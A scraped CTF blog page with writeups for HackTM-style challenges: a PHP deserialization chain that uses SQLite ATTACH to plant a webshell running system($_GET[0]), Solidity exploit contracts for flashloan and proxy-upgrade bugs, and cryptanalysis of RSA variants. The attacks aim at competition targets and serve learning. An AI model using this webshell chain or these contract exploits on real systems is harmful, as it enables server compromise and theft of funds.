0CTF 2022 TCTF NFT Market  (0) 2022.09.19

I participated as rkm0959_test and somehow got 10th place. Initially wanted to take a brief look at the cryptography challs, ended up calling two friends and managed to clinch finals. Not sure if I'll be over there, though. Need to decide... Brief writeups, as I'm tired.

 

For the challenges, see https://hackmd.io/@y011d4/rJfWwERTj. 

 

Also need to upsolve the cryptography challenges. A lot of stuff to do...

 

Web - Blog

 

The solver tells me that there is a unserialize vulnerability in cookies, so change the db path of sqlite and create a php file.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
<?php
class Post {
    public $title;
    public $content;
    public $comments;
 
    public function __construct($title, $content) {
        $this->title = $title;
        $this->content = $content;
    }
 
    public function __toString() {
        $comments = $this->comments;
        // comments are bugged for now, but in future it might be re-implemented
        // when it is, just append $comments_fallback to $out
        if ($comments !== null) {
            $comments_fallback = $this->$comments;
        }
 
        $conn = new Conn;
        $conn->queries = array(new Query(
            "select id from posts where title = :title and content = :content",
            array(":title" => $this->title, ":content" => $this->content)
        ));
        $result = $conn();
        if ($result[0] === false) {
            return "";
        } else {
            return "
            <div class='card'> 
                <h3 class='card-header'>{$this->title}</h3>
                <div class='card-body'>
                    <p class='card-text'>{$this->content}</p>
                </div>
                <div class='card-footer'>
                    <input class='input-group-text' style='font-size: 12px;' disabled value='Commenting is disabled.' />
                </div>
            </div>
            ";
        }
    }
}
 
class User {
    public $profile;
    public $posts = array();
 
    public function __construct($username) {
        $this->profile = new Profile($username);
    }
 
    // get user profile
    public function get_profile() {
        // some dev apparently mixed up user and profile... 
        // so this check prevents any more errors
        if ($this->profile instanceof User) {
            return "@i_use_vscode please fix your code";
        } else {
            // quite unnecessary to assign to a variable imho
            $profile_string = "
            <div>{$this->profile}</div>
            ";
            return $profile_string;
        }
    }
 
    public function get_posts() {
        // check if we've already fetched posts before to save some overhead
        // (our poor sqlite db is dying)
        if (sizeof($this->posts) !== 0) {
            return "Please reload the page to fetch your posts from the database";
        }
 
        // get all user posts
        $conn = new Conn;
        $conn->queries = array(new Query(
            "select title, content from posts where user = :user",
            array(":user" => $this->profile->username)
        ));
 
        // get posts from database
        $result = $conn();
        if ($result[0] !== false) {
            while ($row = $result[0]->fetchArray(1)) {
                $this->posts[] = new Post($row["title"], $row["content"]);
            }
        }
 
        // build the return string
        $out = "";
        foreach ($this->posts as $post) {
            $out .= $post;
        }
        return $out;
    }
 
    // who put this?? git blame moment (edit: i checked, it's @i_use_vscode as usual)
    public function __toString() {
        $profile = $this->profile;
        return $profile();
    }
}
 
class Profile {
    public $username;
    public $picture_path = "images/real_programmers.png";
 
    public function __construct($username) {
        $this->username = $username;
    }
 
    // hotfix for @i_use_vscode (see line 97)
    // when removed, please remove this as well
    public function __invoke() {
        if (gettype($this->picture_path) !== "string") {        
            return "<script>window.location = '/login.php'</script>";
        }
 
        $picture = base64_encode(file_get_contents($this->picture_path));
 
        // check if user exists
        $conn = new Conn;
        $conn->queries = array(new Query(
            "select id from users where username = :username",
            array(":username" => $this->username)
        ));
        $result = $conn();
        if ($result[0] === false || $result[0]->fetchArray() === false) {
            return "<script>window.location = '/login.php'</script>";
        } else {
            return "
            <div class='card'>
                <img class='card-img-top profile-pic' src='data:image/png;base64,{$picture}'> 
                <div class='card-body'>
                    <h3 class='card-title'>{$this->username}</h3>
                </div>
            </div>
            ";
        }
    }
 
    // this is the correct implementation :facepalm:
    public function __toString() {
        if (gettype($this->picture_path) !== "string") {        
            return "";
        }
 
        $picture = base64_encode(file_get_contents($this->picture_path));
 
        // check if user exists
        $conn = new Conn;
        $conn->queries = array(new Query(
            "select id from users where username = :username",
            array(":username" => $this->username)
        ));
        $result = $conn();
        if ($result[0] === false || $result[0]->fetchArray() === false) {
            return "<script>window.location = '/login.php'</script>";
        } else {
            return "
            <div class='card'>
                <img class='card-img-top profile-pic' src='data:image/png;base64,{$picture}'> 
                <div class='card-body'>
                    <h3 class='card-title'>{$this->username}</h3>
                </div>
            </div>
            ";
        }
    }
}
 
 
class Conn {
    public $queries;
 
    // old legacy code - idk what it does but not touching it...
    public function __invoke() {
        $conn = new SQLite3("/sqlite3/db");
        $result = array();
 
        // on second thought, whoever wrote this is a genius
        // its gotta be @i_use_neovim
        foreach ($this->queries as $query) {
            if (gettype($query->query_string) !== "string") {
                return "Invalid query.";
            }
            $stmt = $conn->prepare($query->query_string);
            foreach ($query->args as $param => $value) {
                if (gettype($value) === "string" || gettype($value) === "integer") {
                    $stmt->bindValue($param, $value);
                } else {
                    $stmt->bindValue($param, "");
                }
            }
            $result[] = $stmt->execute();
        }
 
        return $result;
    }
}
 
class Query {
    public $query_string = "";
    public $args;
 
    public function __construct($query_string, $args) {
        $this->query_string = $query_string;
        $this->args = $args;
    }
 
    // for debugging purposes
    public function __toString() {
        return $this->query_string;
    }
}
 
$conn = new Conn;
$conn->queries = array(new Query(
    "attach database '/var/www/html/2ji1234312.php' as lol",
    array()
),new Query(
    "create table lol.pwn (dataz text)",
    array()
),new Query(
    "insert into lol.pwn (dataz) values ('1234<? system(\$_GET[0]);?>')",
    array()
));
 
// $conn->queries = array(new Query(
//     ".clone /var/www/html/ji1234312.php",
//     array()
// ));
 
 
 
$data = "Tzo0OiJVc2VyIjoyOntzOjc6InByb2ZpbGUiO086NzoiUHJvZmlsZSI6Mjp7czo4OiJ1c2VybmFtZSI7czo3OiJxd2VycWEyIjtzOjEyOiJwaWN0dXJlX3BhdGgiO3M6Mjc6ImltYWdlcy9yZWFsX3Byb2dyYW1tZXJzLnBuZyI7fXM6NToicG9zdHMiO2E6MDp7fX0=";
$user = unserialize(base64_decode($data));
 
echo var_dump($user);
 
// $user->profile->picture_path = "/sqlite3/db";
// $user->profile = $conn;
$user->profile->username = unserialize(base64_decode($data));
// $user->profile = "phpinfo";
$user->profile->username->profile="phpinfo";
$user->profile->username->profile=$conn;
echo var_dump($user);
echo base64_encode(serialize(($user)));
 cs

 

Crypto - d_phi_enc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import bytes_to_long, getStrongPrime
 
from secret import flag
 
assert len(flag) == 255
e = 3
p = getStrongPrime(1024, e=e)
q = getStrongPrime(1024, e=e)
n = p * q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
enc_d = pow(d, e, n)
enc_phi = pow(phi, e, n)
enc_flag = pow(bytes_to_long(flag), e, n)
print(f"{n = }")
print(f"{enc_d = }")
print(f"{enc_phi = }")
print(f"{enc_flag = }")
 
 cs

 

You are given $d^3 \pmod{n}$ and $\phi^3 \pmod{n}$, with RSA parameters where $e=3$. 

Since $3d = 1 + \phi$ or $3d = 1 + 2 \phi$, we essentially have two polynomial equations on $d$. GCD works.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def GCD(f, g, n):
    g = g % f
    if g == 0:
        return f
    t = g.lc()
    if gcd(t, n) != 1:
        print(t)
        exit()
    tt = inverse_mod(Integer(t), n)
    g = g * tt
    return GCD(g, f, n)
 
 
# 3d = phi + 1
# 3d = 2phi + 1
 
PR = PolynomialRing(Zmod(n), 'x')
x = PR.gen()
 
f = x * x * x - Zmod(n)(enc_d)
g = (3 * x - 1) ** 3 - Zmod(n)(enc_phi)
 
h = (3 * x - 1) ** 3 - Zmod(n)(enc_phi) * 8
 
 
print(GCD(f, g, n))
print(GCD(f, h, n))
 cs

 

Crypto - kaitzensushi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from math import gcd
from Crypto.Util.number import bytes_to_long, isPrime
 
from secret import p, q, x1, y1, x2, y2, e, flag
 
# properties of secret variables
assert isPrime(p) and p.bit_length() == 768
assert isPrime(q) and q.bit_length() == 768
assert isPrime(e) and e.bit_length() == 256
assert gcd((p - 1) * (q - 1), e) == 1
assert x1.bit_length() <= 768 and x2.bit_length() <= 768
assert y1.bit_length() <= 640 and y2.bit_length() <= 640
assert x1 ** 2 + e * y1 ** 2 == p * q
assert x2 ** 2 + e * y2 ** 2 == p * q
 
# encrypt flag by RSA, with xor
n = p * q
c = pow(bytes_to_long(flag) ^^ x1 ^^ y1 ^^ x2 ^^ y2, e, n)
print(f"{n = }")
print(f"{c = }")
 
# hints 🍣
F = RealField(1337)
x = vector(F, [x1, x2])
y = vector(F, [y1, y2])
# rotate
theta = F.random_element(min=-pi, max=pi)
R = matrix(F, [[cos(theta), -sin(theta)], [sin(theta), cos(theta)]])
x = R * x
y = R * y
print(f"{x = }")
print(f"{y = }")
 
 cs

 

There are a lot of stuff to process. First, as $R$ is a rotation matrix, you can compute $x_1^2 + x_2^2$ and $y_1^2 + y_2^2$. However, due to the precision, only the integer value of $y_1^2 + y_2^2$ can be computed exactly, and the value of $x_1^2 + x_2^2$ has a bit of an error range. However, as we have $$(x_1^2 + x_2^2) + e (y_1^2 + y_2^2) = 2n$$ we can do some basic bounding to recover $e$ and the actual value of $x_1^2 + x_2^2$ as well. 

 

You can also compute the rough values of $x_1y_1 + x_2y_2$ as this is the inner product of the two values, which doesn't change under rotation. Similar for $x_1y_2 - x_2y_1$. However, there are some precision issues which lead to the exact computation of these two values difficult.

 

To overcome this, we use the equation $$(x_1y_1+x_2y_2)^2 + (x_1y_2 - x_2y_1)^2 = (x_1^2+ x_2^2)(y_1^2+y_2^2)$$ which we know the precise value of. With this equation, some standard lattice tricks with some more bounding can recover the exact value of $x_1y_1 + x_2y_2$ and $x_1 y_2 - x_2y_1$. Now one can recover the full values of $x_1, x_2, y_1, y_2$ algebraically - I just did some resultants stuff over $\mathbb{F}_p$ for some random large $p$, but other methods will work. Now it suffices to factor $n$. 

 

Here, we note that $$(x_1/y_1)^2 + e \equiv (x_2/y_2)^2 + e \equiv 0 \pmod{n}$$ so one can hope that $x_1/y_1$ and $x_2/y_2$ differ in one of $\pmod{p}$ and $\pmod{q}$, so usual GCD tricks work. This happens to be the case.

 

exploit is at https://github.com/rkm0959/Cryptography_Writeups/tree/main/2023/HTMCTF 

 

Crypto - broken oracle

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
#!/usr/local/bin/python3
"""
implementation of https://www.cs.umd.edu/~gasarch/TOPICS/miscrypto/rabinwithrecip.pdf
"""
import os
import random
from dataclasses import dataclass
from math import gcd
from typing import List, Tuple
 
import gmpy2
from Crypto.Util.number import bytes_to_long, getPrime
 
from secret import flag
 
 
@dataclass
class Pubkey:
    n: int
    c: int
 
 
@dataclass
class Privkey:
    p: int
    q: int
 
 
@dataclass
class Enc:
    r: int
    s: int
    t: int
 
    def __repr__(self) -> str:
        return f"r = {self.r}\ns = {self.s}\nt = {self.t}"
 
 
def crt(r1: int, n1: int, r2: int, n2: int) -> int:
    g, x, y = gmpy2.gcdext(n1, n2)
    assert g == 1
    return int((n1 * x * r2 + n2 * y * r1) % (n1 * n2))
 
 
def gen_prime(pbits: int) -> int:
    p = getPrime(pbits)
    while True:
        if p % 4 == 3:
            return p
        p = getPrime(pbits)
 
 
def genkey(pbits: int) -> Tuple[Pubkey, Privkey]:
    p, q = gen_prime(pbits), gen_prime(pbits)
    n = p * q
    c = random.randint(0, n - 1)
    while True:
        if gmpy2.jacobi(c, p) == -1 and gmpy2.jacobi(c, q) == -1:
            break
        c = random.randint(0, n - 1)
    pubkey = Pubkey(n=n, c=c)
    privkey = Privkey(p=p, q=q)
    return pubkey, privkey
 
 
def encrypt(m: int, pub: Pubkey) -> Enc:
    assert 0 < m < pub.n
    assert gcd(m, pub.n) == 1
    r = int((m + pub.c * pow(m, -1, pub.n)) % pub.n)
    s = int(gmpy2.jacobi(m, pub.n))
    t = int(pub.c * pow(m, -1, pub.n) % pub.n < m)
    enc = Enc(r=r, s=s, t=t)
    assert s in [1, -1]
    assert t in [0, 1]
    return enc
 
 
def solve_quad(r: int, c: int, p: int) -> Tuple[int, int]:
    """
    Solve x^2 - r * x + c = 0 mod p
    See chapter 5.
    """
 
    def mod(poly: List[int]) -> None:
        """
        Calculate mod x^2 - r * x + c (inplace)
        """
        assert len(poly) == 3
        if poly[2] == 0:
            return
        poly[1] += poly[2] * r
        poly[1] %= p
        poly[0] -= poly[2] * c
        poly[0] %= p
        poly[2] = 0
 
    def prod(poly1: List[int], poly2: List[int]) -> List[int]:
        """
        Calculate poly1 * poly2 mod x^2 - r * x + c
        """
        assert len(poly1) == 3 and len(poly2) == 3
        assert poly1[2] == 0 and poly2[2] == 0
        res = [
            poly1[0] * poly2[0] % p,
            (poly1[1] * poly2[0] + poly1[0] * poly2[1]) % p,
            poly1[1] * poly2[1] % p,
        ]
        mod(res)
        assert res[2] == 0
        return res
 
    # calculate x^exp mod (x^2 - r * x + c) in GF(p)
    exp = (p - 1) // 2
    res_poly = [1, 0, 0]  # = 1
    cur_poly = [0, 1, 0]  # = x
    while True:
        if exp % 2 == 1:
            res_poly = prod(res_poly, cur_poly)
        exp //= 2
        if exp == 0:
            break
        cur_poly = prod(cur_poly, cur_poly)
 
    # I think the last equation in chapter 5 should be x^{(p-1)/2}-1 mod (x^2 - Ex + c)
    # (This change is not related to vulnerability as far as I know)
    a1 = -(res_poly[0] - 1) * pow(res_poly[1], -1, p) % p
    a2 = (r - a1) % p
    return a1, a2
 
 
def decrypt(enc: Enc, pub: Pubkey, priv: Privkey) -> int:
    assert 0 <= enc.r < pub.n
    assert enc.s in [1, -1]
    assert enc.t in [0, 1]
    mps = solve_quad(enc.r, pub.c, priv.p)
    mqs = solve_quad(enc.r, pub.c, priv.q)
    ms = []
    for mp in mps:
        for mq in mqs:
            m = crt(mp, priv.p, mq, priv.q)
            if gmpy2.jacobi(m, pub.n) == enc.s:
                ms.append(m)
    assert len(ms) == 2
    m1, m2 = ms
    if m1 < m2:
        m1, m2 = m2, m1
    if enc.t == 1:
        m = m1
    elif enc.t == 0:
        m = m2
    else:
        raise ValueError
    return m
 
 
if __name__ == "__main__":
    pbits = 1024
    pub, priv = genkey(pbits)
    while len(flag) < 255:
        flag += os.urandom(1)
    enc_flag = encrypt(bytes_to_long(flag), pub)
    print("encrypted flag:")
    print(enc_flag)
    while True:
        try:
            r, s, t = map(int, input("r, s, t = ").split(","))
            enc = Enc(r=r, s=s, t=t)
            enc_dec_enc = encrypt(decrypt(enc, pub, priv), pub)
            print("decrypt(encrypt(input)):")
            print(enc_dec_enc)
        except Exception:
            print("Something wrong...")
 
 cs

 

The clear issue here is that the decrypt function doesn't care if a solution to $x^2 - rx + c \equiv 0 \pmod{p}$ exists. 

In this case, the result of $x + c / x$ would not be once again equal to $r$, which will makes things interesting.

 

To dive further into this, let's send enc-dec queries of $(r_0, \{-1, 1\}, \{0, 1\})$ and see the results - we are more focused on the $r$ values of the result. We would think that all the $r$ values would be $r_0$, but some experimentation shows that it isn't the case - there are sometimes a single unique $r$ value, two unique $r$ values, or four unique $r$ values. Here, we ignore the error cases (asserts) as they are not needed.

 

The interesting case is where there are two unique $r$ values. In this case, the intuition is that $\pmod{p}$ side of the things worked out, but $\pmod{q}$ side didn't. So while $x + c / x$ values agree each other in $\pmod{p}$, it didn't on $\pmod{q}$.

In other words, the difference of the two $r$ values would be a multiple of $p$, but not $q$, a perfect scenario for GCD ideas. 

 

This allows us to get $n$. Try out various $r_0$ values, and if there are two unique $r$ values, collect the difference. For each pair of differences, take the GCD. If it is non-trivial, it would be a prime divisor of $n$. After enough collection we can recover both $p, q$. 

 

Now we need to get $c$. Here, we note that even when the $x^2 - rx + c \equiv 0 \pmod{p}$ didn't work out, the two returned solutions add up to $r$. This can be used to set up a two-variable, two-equation system over $\pmod{p}$, where one variable is $a_1$ of the solve_quad and the other is $c$. This can be solved easily via various methods. Since we have $p, q, n, c$ and the encrypted flag, the rest is easy.

 

exploit is in https://github.com/rkm0959/Cryptography_Writeups/blob/main/2023/HTMCTF/oracle.py 

 

Smart Contract - Dragon Slayer

Basically you need to get all the items and dunk on the dragon. There is a safeMint hook on the bank note, so that's a vector.

 

It turns out that split function, along with the safeMint hook, can be used as a flashloan. So just kill the dragon and return the loan.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
contract Attack{
 
    Setup public setup = Setup(0xe8ceEa61E72Dc3A1eb3298f8E59D72F17C1da827);
    Knight public knight;
    Bank public bankObj;
    GoldCoin public gcObj;
    Shop public shopObj;
    bool public claimed;
    uint256 public myTokenId = type(uint256).max;
 
 
    function run() public {
        knight = setup.knight();
        setup.claim();
 
        bankObj = knight.bank();
        gcObj = knight.goldCoin();
        shopObj = knight.shop();
 
        console.log("goldcoin address : %s", address(gcObj));
        console.log("bank address : %s", address(bankObj));
 
        console.log("my gold balance : %d", IERC20(gcObj).balanceOf(address(this)));
 
        console.log("address(this) : %s", address(this));
        console.log("knight contract owner : %s", knight.owner());
 
        uint256[] memory mergeArr = new uint256[](0);
        bankObj.merge(mergeArr);
 
        uint256 knightBalance = IERC20(gcObj).balanceOf(address(knight));
        knight.bankDeposit(knightBalance);
 
        console.log("bankNoteValues : %d", bankObj.bankNoteValues(1));
        knight.bankTransferPartial(2, knightBalance, 1);
 
        console.log("bankNoteValues after bankTransferPartial: %d", bankObj.bankNoteValues(1));
 
        uint256[] memory splitAmounts = new uint256[](2);
        splitAmounts[0] = 2_000_000 ether;
        splitAmounts[1] = 0;
        bankObj.split(1, splitAmounts);
    }
 
    uint256 public Counter = 0;
    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata) external returns (bytes4) {
        if(myTokenId==type(uint256).max){
            myTokenId = tokenId;
            console.log("my receive first token's id : %d", tokenId);
            return this.onERC721Received.selector;
        }
        Counter+=1;
        if(Counter==2){
            bankObj.withdraw(myTokenId);
            console.log("my Balance : %d", IERC20(gcObj).balanceOf(address(this)));
            IERC20(gcObj).transfer(address(knight), IERC20(gcObj).balanceOf(address(this)));
            knight.buyItem(3);
            knight.buyItem(4);
            console.log("buyItem completed...");
 
            console.log("knight attack : %d", knight.attack());
            console.log("knight defence : %d", knight.defence());
            knight.fightDragon();
            knight.fightDragon();
            if(knight.health() > 0 && knight.dragon().health() == 0) {
                console.log("win!!!");
                knight.sellItem(3);
                knight.sellItem(4);
                knight.bankDeposit(IERC20(gcObj).balanceOf(address(knight)));
 
                knight.bankTransferPartial(tokenId+1, 2_000_000 ether - 10 ether, 1);
 
                console.log("bankNoteValues : %d", bankObj.bankNoteValues(1));
                console.log("isSolved-----");
                console.logBool(setup.isSolved());
            }
        }
        myTokenId = tokenId;
        return this.onERC721Received.selector;
    }
 
    function onERC1155Received(address, address, uint256, uint256, bytes calldata) external returns (bytes4) {
        return this.onERC1155Received.selector;
    }
}
contract CounterScript is Script {
 
    function run() public {vm.startBroadcast();(new Attack()).run();}
}
 cs

 

 

Smart Contract - Diamond Heist

Sushiswap delegation double spending bug + Flashloan + UUPSUpgrade to Attack Contract

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
contract Attack{
    SaltyPretzel s;
    address b;
    constructor(SaltyPretzel _s, address _b) {
        s = _s;
        b = _b;
        // s.delegate(msg.sender);
    }
    function go() external {
        s.delegate(b);
        s.transfer(msg.sender, 100 ether);
        selfdestruct(payable(address(this)));
    }
}
contract TVault is Initializable, UUPSUpgradeable, OwnableUpgradeable {
    uint constant public AUTHORITY_THRESHOLD = 10_000 ether;
    Diamond diamond;
    SaltyPretzel saltyPretzel;
    function flashloan(address token, uint amount, address receiver) external {
        IERC20(token).transfer(receiver, amount);
    }
    function _authorizeUpgrade(address) internal override view {}
    function proxiableUUID() external view virtual override returns (bytes32){
        return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    }
}
contract Attack2{
    Vault s;
    Diamond d;
    constructor(Vault _s, Diamond _d) {
        s = _s;
        d = _d;
    }
    function go() external {
        s.flashloan(address(d), 100, address(this));
    }
    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        Vault(msg.sender).governanceCall(abi.encodeWithSelector(0x3659cfe6, address(new TVault())));
        // TVault(msg.sender).upgradeTo(address(new TVault()));
        d.transfer(msg.sender, 100);
    }
}
contract Jinu{
    SaltyPretzel s;
    address b;
    constructor(SaltyPretzel _s, address _b) {
        s = _s;
        b = _b;
        // s.delegate(msg.sender);
    }
    function go() external {
        for(uint i=0;i<10;i++){
            Attack a = new Attack(s, address(b));
            s.transfer(address(a), 100 ether);
            a.go();
            console.log("saltyPretzel.getCurrentVotes(address(b))/1e18: %d", s.getCurrentVotes(address(b))/1e18);
        }
        s.transfer(msg.sender, 100 ether);
        selfdestruct(payable(address(this)));
    }
}
contract ContractTest is Script {
    Setup setup;
    VaultFactory public vaultFactory;
    Vault public vault;
    Diamond public diamond;
    SaltyPretzel public saltyPretzel;
    function setUp() public {
        setup = new Setup();
        vaultFactory = setup.vaultFactory();
        vault = setup.vault();
        diamond = setup.diamond();
        saltyPretzel = setup.saltyPretzel();
    }
    function run() public {
        vm.startBroadcast();
        // setup = new Setup();
        setup = Setup(address(0x42490f6d111122F2cfa0E59c71E3D6C8dBA4016D));
        vaultFactory = setup.vaultFactory();
        vault = setup.vault();
        diamond = setup.diamond();
        saltyPretzel = setup.saltyPretzel();
        // // step 1
        // {
        //     // Attack2 b = new Attack2(vault, diamond);
        //     // setup.claim();
        //     Attack2 b = Attack2(0xf0a6BE5837d068BC30af969976F87B7660640a1c);
            
        //     console.log(address(b));
        //     console.log("saltyPretzel.getCurrentVotes(address(b))/1e18: %d", saltyPretzel.getCurrentVotes(address(b))/1e18);
            
        //     // if(!setup.claimed()){
        //         // setup.claim();
        //     // }
        //     Jinu j = new Jinu(saltyPretzel, address(b));
            
        //     saltyPretzel.transfer(address(j), 100 ether);
        //     j.go();
        //     console.log("saltyPretzel.getCurrentVotes(address(b))/1e18: %d", saltyPretzel.getCurrentVotes(address(b))/1e18);
        //     // console.log("saltyPretzel.getCurrentVotes(address(this))/1e18: %d", saltyPretzel.getCurrentVotes(address(this))/1e18);
        //     console.log(address(b));
        // }
        // // step 2
        {
            Attack2 b = Attack2(0xf0a6BE5837d068BC30af969976F87B7660640a1c);
            // saltyPretzel.delegate(address(b));
            console.log("saltyPretzel.getCurrentVotes(address(b))/1e18: %d", saltyPretzel.getCurrentVotes(address(b))/1e18);
            b.go();
            vault.flashloan(address(diamond), 100, address(setup));
            // Attack a = new Attack(saltyPretzel);
            // saltyPretzel.transfer(address(a), 100 ether);
            // console.log("saltyPretzel.getCurrentVotes(address(this))/1e18: %d", saltyPretzel.getCurrentVotes(address(this))/1e18);
            // console.log("saltyPretzel.getCurrentVotes(address(a))/1e18: %d", saltyPretzel.getCurrentVotes(address(a))/1e18);
            // a.go();
            // console.log("saltyPretzel.getCurrentVotes(address(this))/1e18: %d", saltyPretzel.getCurrentVotes(address(this))/1e18);
            // console.log("saltyPretzel.getCurrentVotes(address(a))/1e18: %d", saltyPretzel.getCurrentVotes(address(a))/1e18);
            // console.log("Knight: %d", knight.health());
            // console.log("Dragon: %d", dragon.health());
            console.log(setup.isSolved());
        }
    }
}
 cs

 

저작자표시 비영리

'CTF' 카테고리의 다른 글

ACSC 2023 Writeups  (0) 2023.02.26
BlackHat MEA Finals  (0) 2022.11.21
CODEGATE 2022 Finals: Look It Up  (0) 2022.11.09
0CTF 2022 ezRSA+++  (0) 2022.09.19
0CTF 2022 TCTF NFT Market  (0) 2022.09.19

 

BlackHat MEA에서 2등했습니다. 인당 40000 SAR ~ $10500 정도 가져가게 될 것 같습니다.

저작자표시 비영리

'CTF' 카테고리의 다른 글

ACSC 2023 Writeups  (0) 2023.02.26
HackTM CTF Writeup  (0) 2023.02.22
CODEGATE 2022 Finals: Look It Up  (0) 2022.11.09
0CTF 2022 ezRSA+++  (0) 2022.09.19
0CTF 2022 TCTF NFT Market  (0) 2022.09.19

https://zkresear.ch/t/codegate-ctf-2022-look-it-up-writeup-deeper-look-at-plookup/47

 

CODEGATE CTF 2022: Look It Up Writeup | Deeper Look at PLOOKUP

Introduction On November 7th to 8th, the annual cybersecurity conference called CODEGATE was held in South Korea. Alongside with, a 24 hour CTF was held, where the world’s top cybersecurity researchers solved various challenges on pwn, reverse engineerin

zkresear.ch

 

저작자표시 비영리

'CTF' 카테고리의 다른 글

HackTM CTF Writeup  (0) 2023.02.22
BlackHat MEA Finals  (0) 2022.11.21
0CTF 2022 ezRSA+++  (0) 2022.09.19
0CTF 2022 TCTF NFT Market  (0) 2022.09.19
WACon 2022 Quals: RSA Secret Sharing  (0) 2022.06.27

Problem Description

We are given a 2000-bit RSA modulus $n$, with public exponent $e$. 

Here, we have $d_p, d_q < 2^{105}$ where $d_p, d_q$ are inverses of $e$ modulo $p-1, q-1$. 

We are given $d_p \pmod{2^{55}}, d_q \pmod{2^{55}}$ as a hint. We need to factor $n$. 

 

Solution

In the paper "Twenty Years of Attacks on the RSA Cryptosystem", there's a note that there is a $\tilde{\mathcal{O}}(\sqrt{d_p})$ attack against CRT-RSA. Since we don't know only 50 bits of $d_p$, it's worth thinking about whether the same attack works here. It turns out that it does! 

 

I explained the attack in my blog a few years ago (Korean), and I turned it into a challenge in picoCTF 2021.  

 

For completeness, I'll explain the full solution here. The idea is meet in the middle. We see that $$ \prod_{j=0}^{2^{25} - 1} \prod_{i=0}^{2^{25} - 1} \left( m^{e (hint_p + (i \cdot 2^{25} + j) \cdot 2^{55})} - m \right)$$ will be a multiple of $p$. This is because when we hit the pair $(i, j)$ such that $$hint_p + i \cdot 2^{80} + j \cdot 2^{55} = d_p$$ we'll multiply $$m^{ed_p} - m \equiv 0 \pmod{p}$$ into the product. To compute this, we write $$G(x) = \prod_{i=0}^{2^{25} - 1} \left( m^{e (hint_p + i \cdot 2^{80})} \cdot x - m \right)$$ Denoting $$z = m^{e \cdot 2^{55}} \pmod{n}$$ we see that it now suffices to compute $$G(z^0), G(z^1), \cdots G(z^{2^{25} - 1})$$ which is now a polynomial computation problem. To this, there are two methods. 

 

In the picoCTF, the challenge size was not too large - therefore, less optimal methods worked. At the time, the model solution was divide & conquer + FFT to compute $G$ in $\mathcal{O}(\sqrt{d_p} \log^2 \sqrt{d_p})$ time, and then using multipoint evaluation algorithm to evaluate it over the needed points. This method requires polynomial division, and overall has a quite large overhead. This is implemented in the github link above. 

 

Here, the size of the challenge is $2^{25}$ with 2000 bit modulus, so we need to be faster. To do so, we compute $G$ using the same method i.e. divider & conquer + FFT, but instead of using generic multipoint evaluation algorithms we note that the points we need to evaluate $G$ is geometric. Therefore, we may utilize the awesome Chirp-Z transform to our advantage. This will enable us to compute all evaluations with a single logarithm factor. This is what we implemented. For more information on Chirp-Z transform, check cp-algorithms.

 

However, there are quite a lot of obstacles due to large problem size - it took us over 24 hours to actually get the flag.

  • first, the FFT size in sagemath is apparently capped, so it can't multiply two polynomials of degree $2^{24}$
  • therefore, to multiply large polynomials, we have to split the polynomial and multiply in pieces ourselves
  • it turns out that this solution requires at least 128GB of RAM, and even this requires some memory optimizations
  •  on a good computing environment, our solution takes about 4~5 hours. 

The computation of $G$ took about 2 hours, and the remaining parts also took around 2 hours. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
